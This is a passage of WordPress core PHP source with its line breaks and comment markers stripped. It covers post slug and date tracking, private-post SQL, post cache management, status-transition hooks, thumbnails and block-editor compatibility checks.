( $wilds as $wild ) { if ( ! isset( $types[ $wild ] ) ) { continue; } $icon = $types[ $wild ]; if ( ! is_numeric( $mime ) ) { wp_cache_add( "mime_type_icon_$mime", $icon ); } break 2; } } } * * Filters the mime type icon. * * @since 2.1.0 * * @param string $icon Path to the mime type icon. * @param string $mime Mime type. * @param int $post_id Attachment ID. Will equal 0 if the function passed * the mime type. return apply_filters( 'wp_mime_type_icon', $icon, $mime, $post_id ); } * * Checks for changed slugs for published post objects and save the old slug. * * The function is used when a post object of any type is updated, * by comparing the current and previous post objects. * * If the slug was changed and not already part of the old slugs then it will be * added to the post meta field ('_wp_old_slug') for storing old slugs for that * post. * * The most logically usage of this function is redirecting changed post objects, so * that those that linked to an changed post will be redirected to the new post. * * @since 2.1.0 * * @param int $post_id Post ID. * @param WP_Post $post The post object. * @param WP_Post $post_before The previous post object. function wp_check_for_changed_slugs( $post_id, $post, $post_before ) { Don't bother if it hasn't changed. if ( $post->post_name == $post_before->post_name ) { return; } We're only concerned with published, non-hierarchical objects. if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) { return; } $old_slugs = (array) get_post_meta( $post_id, '_wp_old_slug' ); If we haven't added this old slug before, add it now. if ( ! empty( $post_before->post_name ) && ! in_array( $post_before->post_name, $old_slugs, true ) ) { add_post_meta( $post_id, '_wp_old_slug', $post_before->post_name ); } If the new slug was used previously, delete it from the list. if ( in_array( $post->post_name, $old_slugs, true ) ) { delete_post_meta( $post_id, '_wp_old_slug', $post->post_name ); } } * * Checks for changed dates for published post objects and save the old date. * * The function is used when a post object of any type is updated, * by comparing the current and previous post objects. * * If the date was changed and not already part of the old dates then it will be * added to the post meta field ('_wp_old_date') for storing old dates for that * post. * * The most logically usage of this function is redirecting changed post objects, so * that those that linked to an changed post will be redirected to the new post. * * @since 4.9.3 * * @param int $post_id Post ID. * @param WP_Post $post The post object. * @param WP_Post $post_before The previous post object. function wp_check_for_changed_dates( $post_id, $post, $post_before ) { $previous_date = gmdate( 'Y-m-d', strtotime( $post_before->post_date ) ); $new_date = gmdate( 'Y-m-d', strtotime( $post->post_date ) ); Don't bother if it hasn't changed. if ( $new_date == $previous_date ) { return; } We're only concerned with published, non-hierarchical objects. if ( ! ( 'publish' === $post->post_status || ( 'attachment' === get_post_type( $post ) && 'inherit' === $post->post_status ) ) || is_post_type_hierarchical( $post->post_type ) ) { return; } $old_dates = (array) get_post_meta( $post_id, '_wp_old_date' ); If we haven't added this old date before, add it now. if ( ! empty( $previous_date ) && ! in_array( $previous_date, $old_dates, true ) ) { add_post_meta( $post_id, '_wp_old_date', $previous_date ); } If the new slug was used previously, delete it from the list. if ( in_array( $new_date, $old_dates, true ) ) { delete_post_meta( $post_id, '_wp_old_date', $new_date ); } } * * Retrieves the private post SQL based on capability. * * This function provides a standardized way to appropriately select on the * post_status of a post type. The function will return a piece of SQL code * that can be added to a WHERE clause; this SQL is constructed to allow all * published posts, and all private posts to which the user has access. * * @since 2.2.0 * @since 4.3.0 Added the ability to pass an array to `$post_type`. * * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'. * @return string SQL code that can be added to a where clause. function get_private_posts_cap_sql( $post_type ) { return get_posts_by_author_sql( $post_type, false ); } * * Retrieves the post SQL based on capability, author, and type. * * @since 3.0.0 * @since 4.3.0 Introduced the ability to pass an array of post types to `$post_type`. * * @see get_private_posts_cap_sql() * @global wpdb $wpdb WordPress database abstraction object. * * @param string|string[] $post_type Single post type or an array of post types. * @param bool $full Optional. Returns a full WHERE statement instead of just * an 'andalso' term. Default true. * @param int $post_author Optional. Query posts having a single author ID. Default null. * @param bool $public_only Optional. Only return public posts. Skips cap checks for * $current_user. Default false. * @return string SQL WHERE code that can be added to a query. function get_posts_by_author_sql( $post_type, $full = true, $post_author = null, $public_only = false ) { global $wpdb; if ( is_array( $post_type ) ) { $post_types = $post_type; } else { $post_types = array( $post_type ); } $post_type_clauses = array(); foreach ( $post_types as $post_type ) { $post_type_obj = get_post_type_object( $post_type ); if ( ! $post_type_obj ) { continue; } * * Filters the capability to read private posts for a custom post type * when generating SQL for getting posts by author. * * @since 2.2.0 * @deprecated 3.2.0 The hook transitioned from "somewhat useless" to "totally useless". * * @param string $cap Capability. $cap = apply_filters_deprecated( 'pub_priv_sql_capability', array( '' ), '3.2.0' ); if ( ! $cap ) { $cap = current_user_can( $post_type_obj->cap->read_private_posts ); } Only need to check the cap if $public_only is false. $post_status_sql = "post_status = 'publish'"; if ( false === $public_only ) { if ( $cap ) { Does the user have the capability to view private posts? Guess so. $post_status_sql .= " OR post_status = 'private'"; } elseif ( is_user_logged_in() ) { Users can view their own private posts. $id = get_current_user_id(); if ( null === $post_author || ! $full ) { $post_status_sql .= " OR post_status = 'private' AND post_author = $id"; } elseif ( $id == (int) $post_author ) { $post_status_sql .= " OR post_status = 'private'"; } Else none. } Else none. } $post_type_clauses[] = "( post_type = '" . $post_type . "' AND ( $post_status_sql ) )"; } if ( empty( $post_type_clauses ) ) { return $full ? 'WHERE 1 = 0' : '1 = 0'; } $sql = '( ' . implode( ' OR ', $post_type_clauses ) . ' )'; if ( null !== $post_author ) { $sql .= $wpdb->prepare( ' AND post_author = %d', $post_author ); } if ( $full ) { $sql = 'WHERE ' . $sql; } return $sql; } * * Retrieves the most recent time that a post on the site was published. * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is the date when the last post was posted. * The 'gmt' is when the last post was posted in GMT formatted date. * * @since 0.71 * @since 4.4.0 The `$post_type` argument was added. * * @param string $timezone Optional. The timezone for the timestamp. Accepts 'server', 'blog', or 'gmt'. * 'server' uses the server's internal timezone. * 'blog' uses the `post_date` field, which proxies to the timezone set for the site. * 'gmt' uses the `post_date_gmt` field. * Default 'server'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string The date of the last post, or false on failure. function get_lastpostdate( $timezone = 'server', $post_type = 'any' ) { $lastpostdate = _get_last_post_time( $timezone, 'date', $post_type ); * * Filters the most recent time that a post on the site was published. * * @since 2.3.0 * @since 5.5.0 Added the `$post_type` parameter. * * @param string|false $lastpostdate The most recent time that a post was published, * in 'Y-m-d H:i:s' format. False on failure. * @param string $timezone Location to use for getting the post published date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. return apply_filters( 'get_lastpostdate', $lastpostdate, $timezone, $post_type ); } * * Gets the most recent time that a post on the site was modified. * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is just when the last post was modified. * The 'gmt' is when the last post was modified in GMT time. * * @since 1.2.0 * @since 4.4.0 The `$post_type` argument was added. * * @param string $timezone Optional. The timezone for the timestamp. See get_lastpostdate() * for information on accepted values. * Default 'server'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string The timestamp in 'Y-m-d H:i:s' format, or false on failure. function get_lastpostmodified( $timezone = 'server', $post_type = 'any' ) { * * Pre-filter the return value of get_lastpostmodified() before the query is run. * * @since 4.4.0 * * @param string|false $lastpostmodified The most recent time that a post was modified, * in 'Y-m-d H:i:s' format, or false. Returning anything * other than false will short-circuit the function. * @param string $timezone Location to use for getting the post modified date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. $lastpostmodified = apply_filters( 'pre_get_lastpostmodified', false, $timezone, $post_type ); if ( false !== $lastpostmodified ) { return $lastpostmodified; } $lastpostmodified = _get_last_post_time( $timezone, 'modified', $post_type ); $lastpostdate = get_lastpostdate( $timezone, $post_type ); if ( $lastpostdate > $lastpostmodified ) { $lastpostmodified = $lastpostdate; } * * Filters the most recent time that a post on the site was modified. * * @since 2.3.0 * @since 5.5.0 Added the `$post_type` parameter. * * @param string|false $lastpostmodified The most recent time that a post was modified, * in 'Y-m-d H:i:s' format. False on failure. * @param string $timezone Location to use for getting the post modified date. * See get_lastpostdate() for accepted `$timezone` values. * @param string $post_type The post type to check. return apply_filters( 'get_lastpostmodified', $lastpostmodified, $timezone, $post_type ); } * * Gets the timestamp of the last time any post was modified or published. * * @since 3.1.0 * @since 4.4.0 The `$post_type` argument was added. * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $timezone The timezone for the timestamp. See get_lastpostdate(). * for information on accepted values. * @param string $field Post field to check. Accepts 'date' or 'modified'. * @param string $post_type Optional. The post type to check. Default 'any'. * @return string|false The timestamp in 'Y-m-d H:i:s' format, or false on failure. function _get_last_post_time( $timezone, $field, $post_type = 'any' ) { global $wpdb; if ( ! in_array( $field, array( 'date', 'modified' ), true ) ) { return false; } $timezone = strtolower( $timezone ); $key = "lastpost{$field}:$timezone"; if ( 'any' !== $post_type ) { $key .= ':' . sanitize_key( $post_type ); } $date = wp_cache_get( $key, 'timeinfo' ); if ( false !== $date ) { return $date; } if ( 'any' === $post_type ) { $post_types = get_post_types( array( 'public' => true ) ); array_walk( $post_types, array( $wpdb, 'escape_by_ref' ) ); $post_types = "'" . implode( "', '", $post_types ) . "'"; } else { $post_types = "'" . sanitize_key( $post_type ) . "'"; } switch ( $timezone ) { case 'gmt': $date = $wpdb->get_var( "SELECT post_{$field}_gmt FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; case 'blog': $date = $wpdb->get_var( "SELECT post_{$field} FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; case 'server': $add_seconds_server = gmdate( 'Z' ); $date = $wpdb->get_var( "SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE post_status = 'publish' AND post_type IN ({$post_types}) ORDER BY post_{$field}_gmt DESC LIMIT 1" ); break; } if ( $date ) { wp_cache_set( $key, $date, 'timeinfo' ); return $date; } return false; } * * Updates posts in cache. * * @since 1.5.1 * * @param WP_Post[] $posts Array of post objects (passed by reference). function update_post_cache( &$posts ) { if ( ! $posts ) { return; } $data = array(); foreach ( $posts as $post ) { if ( empty( $post->filter ) || 'raw' !== $post->filter ) { $post = sanitize_post( $post, 'raw' ); } $data[ $post->ID ] = $post; } wp_cache_add_multiple( $data, 'posts' ); } * * Will clean the post in the cache. * * Cleaning means delete from the cache of the post. Will call to clean the term * object cache associated with the post ID. * * This function not run if $_wp_suspend_cache_invalidation is not empty. See * wp_suspend_cache_invalidation(). * * @since 2.0.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int|WP_Post $post Post ID or post object to remove from the cache. function clean_post_cache( $post ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $post = get_post( $post ); if ( ! $post ) { return; } wp_cache_delete( $post->ID, 'posts' ); wp_cache_delete( 'post_parent:' . (string) $post->ID, 'posts' ); wp_cache_delete( $post->ID, 'post_meta' ); clean_object_term_cache( $post->ID, $post->post_type ); wp_cache_delete( 'wp_get_archives', 'general' ); * * Fires immediately after the given post's cache is cleaned. * * @since 2.5.0 * * @param int $post_id Post ID. * @param WP_Post $post Post object. do_action( 'clean_post_cache', $post->ID, $post ); if ( 'page' === $post->post_type ) { wp_cache_delete( 'all_page_ids', 'posts' ); * * Fires immediately after the given page's cache is cleaned. * * @since 2.5.0 * * @param int $post_id Post ID. do_action( 'clean_page_cache', $post->ID ); } wp_cache_set_posts_last_changed(); } * * Updates post, term, and metadata caches for a list of post objects. * * @since 1.5.0 * * @param WP_Post[] $posts Array of post objects (passed by reference). * @param string $post_type Optional. Post type. Default 'post'. * @param bool $update_term_cache Optional. Whether to update the term cache. Default true. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. function update_post_caches( &$posts, $post_type = 'post', $update_term_cache = true, $update_meta_cache = true ) { No point in doing all this work if we didn't match any posts. if ( ! $posts ) { return; } update_post_cache( $posts ); $post_ids = array(); foreach ( $posts as $post ) { $post_ids[] = $post->ID; } if ( ! $post_type ) { $post_type = 'any'; } if ( $update_term_cache ) { if ( is_array( $post_type ) ) { $ptypes = $post_type; } elseif ( 'any' === $post_type ) { $ptypes = array(); Just use the post_types in the supplied posts. foreach ( $posts as $post ) { $ptypes[] = $post->post_type; } $ptypes = array_unique( $ptypes ); } else { $ptypes = array( $post_type ); } if ( ! empty( $ptypes ) ) { update_object_term_cache( $post_ids, $ptypes ); } } if ( $update_meta_cache ) { update_postmeta_cache( $post_ids ); } } * * Updates post author user caches for a list of post objects. * * @since 6.1.0 * * @param WP_Post[] $posts Array of post objects. function update_post_author_caches( $posts ) { * cache_users() is a pluggable function so is not available prior * to the `plugins_loaded` hook firing. This is to ensure against * fatal errors when the function is not available. if ( ! function_exists( 'cache_users' ) ) { return; } $author_ids = wp_list_pluck( $posts, 'post_author' ); $author_ids = array_map( 'absint', $author_ids ); $author_ids = array_unique( array_filter( $author_ids ) ); cache_users( $author_ids ); } * * Updates parent post caches for a list of post objects. * * @since 6.1.0 * * @param WP_Post[] $posts Array of post objects. function update_post_parent_caches( $posts ) { $parent_ids = wp_list_pluck( $posts, 'post_parent' ); $parent_ids = array_map( 'absint', $parent_ids ); $parent_ids = array_unique( array_filter( $parent_ids ) ); if ( ! empty( $parent_ids ) ) { _prime_post_caches( $parent_ids, false ); } } * * Updates metadata cache for a list of post IDs. * * Performs SQL query to retrieve the metadata for the post IDs and updates the * metadata cache for the posts. Therefore, the functions, which call this * function, do not need to perform SQL queries on their own. * * @since 2.1.0 * * @param int[] $post_ids Array of post IDs. * @return array|false An array of metadata on success, false if there is nothing to update. function update_postmeta_cache( $post_ids ) { return update_meta_cache( 'post', $post_ids ); } * * Will clean the attachment in the cache. * * Cleaning means delete from the cache. Optionally will clean the term * object cache associated with the attachment ID. * * This function will not run if $_wp_suspend_cache_invalidation is not empty. * * @since 3.0.0 * * @global bool $_wp_suspend_cache_invalidation * * @param int $id The attachment ID in the cache to clean. * @param bool $clean_terms Optional. Whether to clean terms cache. Default false. function clean_attachment_cache( $id, $clean_terms = false ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } $id = (int) $id; wp_cache_delete( $id, 'posts' ); wp_cache_delete( $id, 'post_meta' ); if ( $clean_terms ) { clean_object_term_cache( $id, 'attachment' ); } * * Fires after the given attachment's cache is cleaned. * * @since 3.0.0 * * @param int $id Attachment ID. do_action( 'clean_attachment_cache', $id ); } Hooks. * * Hook for managing future post transitions to published. * * @since 2.3.0 * @access private * * @see wp_clear_scheduled_hook() * @global wpdb $wpdb WordPress database abstraction object. * * @param string $new_status New post status. * @param string $old_status Previous post status. * @param WP_Post $post Post object. function _transition_post_status( $new_status, $old_status, $post ) { global $wpdb; if ( 'publish' !== $old_status && 'publish' === $new_status ) { Reset GUID if transitioning to publish and it is empty. if ( '' === get_the_guid( $post->ID ) ) { $wpdb->update( $wpdb->posts, array( 'guid' => get_permalink( $post->ID ) ), array( 'ID' => $post->ID ) ); } * * Fires when a post's status is transitioned from private to published. * * @since 1.5.0 * @deprecated 2.3.0 Use {@see 'private_to_publish'} instead. * * @param int $post_id Post ID. do_action_deprecated( 'private_to_published', array( $post->ID ), '2.3.0', 'private_to_publish' ); } If published posts changed clear the lastpostmodified cache. if ( 'publish' === $new_status || 'publish' === $old_status ) { foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) { wp_cache_delete( "lastpostmodified:$timezone", 'timeinfo' ); wp_cache_delete( "lastpostdate:$timezone", 'timeinfo' ); wp_cache_delete( "lastpostdate:$timezone:{$post->post_type}", 'timeinfo' ); } } if ( $new_status !== $old_status ) { wp_cache_delete( _count_posts_cache_key( $post->post_type ), 'counts' ); wp_cache_delete( _count_posts_cache_key( $post->post_type, 'readable' ), 'counts' ); } Always clears the hook in case the post status bounced from future to draft. wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) ); } * * Hook used to schedule publication for a post marked for the future. * * The $post properties used and must exist are 'ID' and 'post_date_gmt'. * * @since 2.3.0 * @access private * * @param int $deprecated Not used. Can be set to null. Never implemented. Not marked * as deprecated with _deprecated_argument() as it conflicts with * wp_transition_post_status() and the default filter for _future_post_hook(). * @param WP_Post $post Post object. function _future_post_hook( $deprecated, $post ) { wp_clear_scheduled_hook( 'publish_future_post', array( $post->ID ) ); wp_schedule_single_event( strtotime( get_gmt_from_date( $post->post_date ) . ' GMT' ), 'publish_future_post', array( $post->ID ) ); } * * Hook to schedule pings and enclosures when a post is published. * * Uses XMLRPC_REQUEST and WP_IMPORTING constants. * * @since 2.3.0 * @access private * * @param int $post_id The ID of the post being published. function _publish_post_hook( $post_id ) { if ( defined( 'XMLRPC_REQUEST' ) ) { * * Fires when _publish_post_hook() is called during an XML-RPC request. * * @since 2.1.0 * * @param int $post_id Post ID. do_action( 'xmlrpc_publish_post', $post_id ); } if ( defined( 'WP_IMPORTING' ) ) { return; } if ( get_option( 'default_pingback_flag' ) ) { add_post_meta( $post_id, '_pingme', '1', true ); } add_post_meta( $post_id, '_encloseme', '1', true ); $to_ping = get_to_ping( $post_id ); if ( ! empty( $to_ping ) ) { add_post_meta( $post_id, '_trackbackme', '1' ); } if ( ! wp_next_scheduled( 'do_pings' ) ) { wp_schedule_single_event( time(), 'do_pings' ); } } * * Returns the ID of the post's parent. * * @since 3.1.0 * @since 5.9.0 The `$post` parameter was made optional. * * @param int|WP_Post|null $post Optional. Post ID or post object. Defaults to global $post. * @return int|false Post parent ID (which can be 0 if there is no parent), * or false if the post does not exist. function wp_get_post_parent_id( $post = null ) { $post = get_post( $post ); if ( ! $post || is_wp_error( $post ) ) { return false; } return (int) $post->post_parent; } * * Checks the given subset of the post hierarchy for hierarchy loops. * * Prevents loops from forming and breaks those that it finds. Attached * to the {@see 'wp_insert_post_parent'} filter. * * @since 3.1.0 * * @see wp_find_hierarchy_loop() * * @param int $post_parent ID of the parent for the post we're checking. * @param int $post_id ID of the post we're checking. * @return int The new post_parent for the post, 0 otherwise. function wp_check_post_hierarchy_for_loops( $post_parent, $post_id ) { Nothing fancy here - bail. if ( ! $post_parent ) { return 0; } New post can't cause a loop. if ( ! $post_id ) { return $post_parent; } Can't be its own parent. if ( $post_parent == $post_id ) { return 0; } Now look for larger loops. $loop = wp_find_hierarchy_loop( 'wp_get_post_parent_id', $post_id, $post_parent ); if ( ! $loop ) { return $post_parent; No loop. } Setting $post_parent to the given value causes a loop. if ( isset( $loop[ $post_id ] ) ) { return 0; } There's a loop, but it doesn't contain $post_id. Break the loop. foreach ( array_keys( $loop ) as $loop_member ) { wp_update_post( array( 'ID' => $loop_member, 'post_parent' => 0, ) ); } return $post_parent; } * * Sets the post thumbnail (featured image) for the given post. * * @since 3.1.0 * * @param int|WP_Post $post Post ID or post object where thumbnail should be attached. * @param int $thumbnail_id Thumbnail to attach. * @return int|bool True on success, false on failure. function set_post_thumbnail( $post, $thumbnail_id ) { $post = get_post( $post ); $thumbnail_id = absint( $thumbnail_id ); if ( $post && $thumbnail_id && get_post( $thumbnail_id ) ) { if ( wp_get_attachment_image( $thumbnail_id, 'thumbnail' ) ) { return update_post_meta( $post->ID, '_thumbnail_id', $thumbnail_id ); } else { return delete_post_meta( $post->ID, '_thumbnail_id' ); } } return false; } * * Removes the thumbnail (featured image) from the given post. * * @since 3.3.0 * * @param int|WP_Post $post Post ID or post object from which the thumbnail should be removed. * @return bool True on success, false on failure. function delete_post_thumbnail( $post ) { $post = get_post( $post ); if ( $post ) { return delete_post_meta( $post->ID, '_thumbnail_id' ); } return false; } * * Deletes auto-drafts for new posts that are > 7 days old. * * @since 3.4.0 * * @global wpdb $wpdb WordPress database abstraction object. function wp_delete_auto_drafts() { global $wpdb; Cleanup old auto-drafts more than 7 days old. $old_posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB( NOW(), INTERVAL 7 DAY ) > post_date" ); foreach ( (array) $old_posts as $delete ) { Force delete. wp_delete_post( $delete, true ); } } * * Queues posts for lazy-loading of term meta. * * @since 4.5.0 * * @param WP_Post[] $posts Array of WP_Post objects. function wp_queue_posts_for_term_meta_lazyload( $posts ) { $post_type_taxonomies = array(); $prime_post_terms = array(); foreach ( $posts as $post ) { if ( ! ( $post instanceof WP_Post ) ) { continue; } if ( ! isset( $post_type_taxonomies[ $post->post_type ] ) ) { $post_type_taxonomies[ $post->post_type ] = get_object_taxonomies( $post->post_type ); } foreach ( $post_type_taxonomies[ $post->post_type ] as $taxonomy ) { $prime_post_terms[ $taxonomy ][] = $post->ID; } } $term_ids = array(); if ( $prime_post_terms ) { foreach ( $prime_post_terms as $taxonomy => $post_ids ) { $cached_term_ids = wp_cache_get_multiple( $post_ids, "{$taxonomy}_relationships" ); if ( is_array( $cached_term_ids ) ) { $cached_term_ids = array_filter( $cached_term_ids ); foreach ( $cached_term_ids as $_term_ids ) { Backward compatibility for if a plugin is putting objects into the cache, rather than IDs. foreach ( $_term_ids as $term_id ) { if ( is_numeric( $term_id ) ) { $term_ids[] = (int) $term_id; } elseif ( isset( $term_id->term_id ) ) { $term_ids[] = (int) $term_id->term_id; } } } } } $term_ids = array_unique( $term_ids ); } wp_lazyload_term_meta( $term_ids ); } * * Updates the custom taxonomies' term counts when a post's status is changed. * * For example, default posts term counts (for custom taxonomies) don't include * private / draft posts. * * @since 3.3.0 * @access private * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $post Post object. function _update_term_count_on_transition_post_status( $new_status, $old_status, $post ) { Update counts for the post's terms. foreach ( (array) get_object_taxonomies( $post->post_type ) as $taxonomy ) { $tt_ids = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'tt_ids' ) ); wp_update_term_count( $tt_ids, $taxonomy ); } } * * Adds any posts from the given IDs to the cache that do not already exist in cache. * * @since 3.4.0 * @since 6.1.0 This function is no longer marked as "private". * * @see update_post_cache() * @see update_postmeta_cache() * @see update_object_term_cache() * * @global wpdb $wpdb WordPress database abstraction object. * * @param int[] $ids ID list. * @param bool $update_term_cache Optional. Whether to update the term cache. Default true. * @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true. function _prime_post_caches( $ids, $update_term_cache = true, $update_meta_cache = true ) { global $wpdb; $non_cached_ids = _get_non_cached_ids( $ids, 'posts' ); if ( ! empty( $non_cached_ids ) ) { $fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.* FROM $wpdb->posts WHERE ID IN (%s)", implode( ',', $non_cached_ids ) ) ); if ( $fresh_posts ) { Despite the name, update_post_cache() expects an array rather than a single post. update_post_cache( $fresh_posts ); } } if ( $update_meta_cache ) { update_postmeta_cache( $ids ); } if ( $update_term_cache ) { $post_types = array_map( 'get_post_type', $ids ); $post_types = array_unique( $post_types ); update_object_term_cache( $ids, $post_types ); } } * * Prime the cache containing the parent ID of various post objects. * * @global wpdb $wpdb WordPress database abstraction object. * * @since 6.4.0 * * @param int[] $ids ID list. function _prime_post_parent_id_caches( array $ids ) { global $wpdb; $ids = array_filter( $ids, '_validate_cache_id' ); $ids = array_unique( array_map( 'intval', $ids ), SORT_NUMERIC ); if ( empty( $ids ) ) { return; } $cache_keys = array(); foreach ( $ids as $id ) { $cache_keys[ $id ] = 'post_parent:' . (string) $id; } $cached_data = wp_cache_get_multiple( array_values( $cache_keys ), 'posts' ); $non_cached_ids = array(); foreach ( $cache_keys as $id => $cache_key ) { if ( false === $cached_data[ $cache_key ] ) { $non_cached_ids[] = $id; } } if ( ! empty( $non_cached_ids ) ) { $fresh_posts = $wpdb->get_results( sprintf( "SELECT $wpdb->posts.ID, $wpdb->posts.post_parent FROM $wpdb->posts WHERE ID IN (%s)", implode( ',', $non_cached_ids ) ) ); if ( $fresh_posts ) { $post_parent_data = array(); foreach ( $fresh_posts as $fresh_post ) { $post_parent_data[ 'post_parent:' . (string) $fresh_post->ID ] = (int) $fresh_post->post_parent; } wp_cache_add_multiple( $post_parent_data, 'posts' ); } } } * * Adds a suffix if any trashed posts have a given slug. * * Store its desired (i.e. current) slug so it can try to reclaim it * if the post is untrashed. * * For internal use. * * @since 4.5.0 * @access private * * @param string $post_name Post slug. * @param int $post_id Optional. Post ID that should be ignored. Default 0. function wp_add_trashed_suffix_to_post_name_for_trashed_posts( $post_name, $post_id = 0 ) { $trashed_posts_with_desired_slug = get_posts( array( 'name' => $post_name, 'post_status' => 'trash', 'post_type' => 'any', 'nopaging' => true, 'post__not_in' => array( $post_id ), ) ); if ( ! empty( $trashed_posts_with_desired_slug ) ) { foreach ( $trashed_posts_with_desired_slug as $_post ) { wp_add_trashed_suffix_to_post_name_for_post( $_post ); } } } * * Adds a trashed suffix for a given post. * * Store its desired (i.e. current) slug so it can try to reclaim it * if the post is untrashed. * * For internal use. * * @since 4.5.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * * @param WP_Post $post The post. * @return string New slug for the post. function wp_add_trashed_suffix_to_post_name_for_post( $post ) { global $wpdb; $post = get_post( $post ); if ( str_ends_with( $post->post_name, '__trashed' ) ) { return $post->post_name; } add_post_meta( $post->ID, '_wp_desired_post_slug', $post->post_name ); $post_name = _truncate_post_slug( $post->post_name, 191 ) . '__trashed'; $wpdb->update( $wpdb->posts, array( 'post_name' => $post_name ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); return $post_name; } * * Sets the last changed time for the 'posts' cache group. * * @since 5.0.0 function wp_cache_set_posts_last_changed() { wp_cache_set_last_changed( 'posts' ); } * * Gets all available post MIME types for a given post type. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $type * @return string[] An array of MIME types. function get_available_post_mime_types( $type = 'attachment' ) { global $wpdb; * * Filters the list of available post MIME types for the given post type. * * @since 6.4.0 * * @param string[]|null $mime_types An array of MIME types. Default null. * @param string $type The post type name. Usually 'attachment' but can be any post type. $mime_types = apply_filters( 'pre_get_available_post_mime_types', null, $type ); if ( ! is_array( $mime_types ) ) { $mime_types = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type ) ); } return $mime_types; } * * Retrieves the path to an uploaded image file. * * Similar to `get_attached_file()` however some images may have been processed after uploading * to make them suitable for web use. In this case the attached "full" size file is usually replaced * with a scaled down version of the original image. This function always returns the path * to the originally uploaded image file. * * @since 5.3.0 * @since 5.4.0 Added the `$unfiltered` parameter. * * @param int $attachment_id Attachment ID. * @param bool $unfiltered Optional. Passed through to `get_attached_file()`. Default false. * @return string|false Path to the original image file or false if the attachment is not an image. function wp_get_original_image_path( $attachment_id, $unfiltered = false ) { if ( ! wp_attachment_is_image( $attachment_id ) ) { return false; } $image_meta = wp_get_attachment_metadata( $attachment_id ); $image_file = get_attached_file( $attachment_id, $unfiltered ); if ( empty( $image_meta['original_image'] ) ) { $original_image = $image_file; } else { $original_image = path_join( dirname( $image_file ), $image_meta['original_image'] ); } * * Filters the path to the original image. * * @since 5.3.0 * * @param string $original_image Path to original image file. * @param int $attachment_id Attachment ID. return apply_filters( 'wp_get_original_image_path', $original_image, $attachment_id ); } * * Retrieves the URL to an original attachment image. * * Similar to `wp_get_attachment_url()` however some images may have been * processed after uploading. In this case this function returns the URL * to the originally uploaded image file. * * @since 5.3.0 * * @param int $attachment_id Attachment post ID. * @return string|false Attachment image URL, false on error or if the attachment is not an image. function wp_get_original_image_url( $attachment_id ) { if ( ! wp_attachment_is_image( $attachment_id ) ) { return false; } $image_url = wp_get_attachment_url( $attachment_id ); if ( ! $image_url ) { return false; } $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( empty( $image_meta['original_image'] ) ) { $original_image_url = $image_url; } else { $original_image_url = path_join( dirname( $image_url ), $image_meta['original_image'] ); } * * Filters the URL to the original attachment image. * * @since 5.3.0 * * @param string $original_image_url URL to original image. * @param int $attachment_id Attachment ID. return apply_filters( 'wp_get_original_image_url', $original_image_url, $attachment_id ); } * * Filters callback which sets the status of an untrashed post to its previous status. * * This can be used as a callback on the `wp_untrash_post_status` filter. * * @since 5.6.0 * * @param string $new_status The new status of the post being restored. * @param int $post_id The ID of the post being restored. * @param string $previous_status The status of the post at the point where it was trashed. * @return string The new status of the post. function wp_untrash_post_set_previous_status( $new_status, $post_id, $previous_status ) { return $previous_status; } * * Returns whether the post can be edited in the block editor. * * @since 5.0.0 * @since 6.1.0 Moved to wp-includes from wp-admin. * * @param int|WP_Post $post Post ID or WP_Post object. * @return bool Whether the post can be edited in the block editor. function use_block_editor_for_post( $post ) { $post = get_post( $post ); if ( ! $post ) { return false; } We're in the meta box loader, so don't use the block editor. if ( is_admin() && isset( $_GET['meta-box-loader'] ) ) { check_admin_referer( 'meta-box-loader', 'meta-box-loader-nonce' ); return false; } $use_block_editor = use_block_editor_for_post_type( $post->post_type ); * * Filters whether a post is able to be edited in the block editor. * * @since 5.0.0 * * @param bool $use_block_editor Whether the post can be edited or not. * @param WP_Post $post The post being checked. return apply_filters( 'use_block_editor_for_post', $use_block_editor, $post ); } * * Returns whether a post type is compatible with the block editor. * * The block editor depends on the REST API, and if the post type is not shown in the * REST API, then it won't work with the block editor. * * @since 5.0.0 * @since 6.1.0 Moved to wp-includes from wp-admin. * * @param string $post_type The post type. * @return bool Whether the post type can be edited with the block editor. function use_block_editor_for_post_type( $post_type ) { if ( ! post_type_exists( $post_type ) ) { return false; } if ( ! post_type_supports( $post_type, 'editor' ) ) { return false; } $post_type_object = get_post_type_object( $post_type ); if ( $post_type_object && ! $post_type_object->show_in_rest ) { return false; } * * Filters whether a post is able to be edited in the block editor. * * @since 5.0.0 * * @param bool $use_block_editor Whether the post type can be edited or not. Default true. * @param string $post_type The post type being checked. return apply_filters( 'use_block_editor_for_post_type', true, $post_type ); } * * Registers any additional post meta fields. * * @since 6.3.0 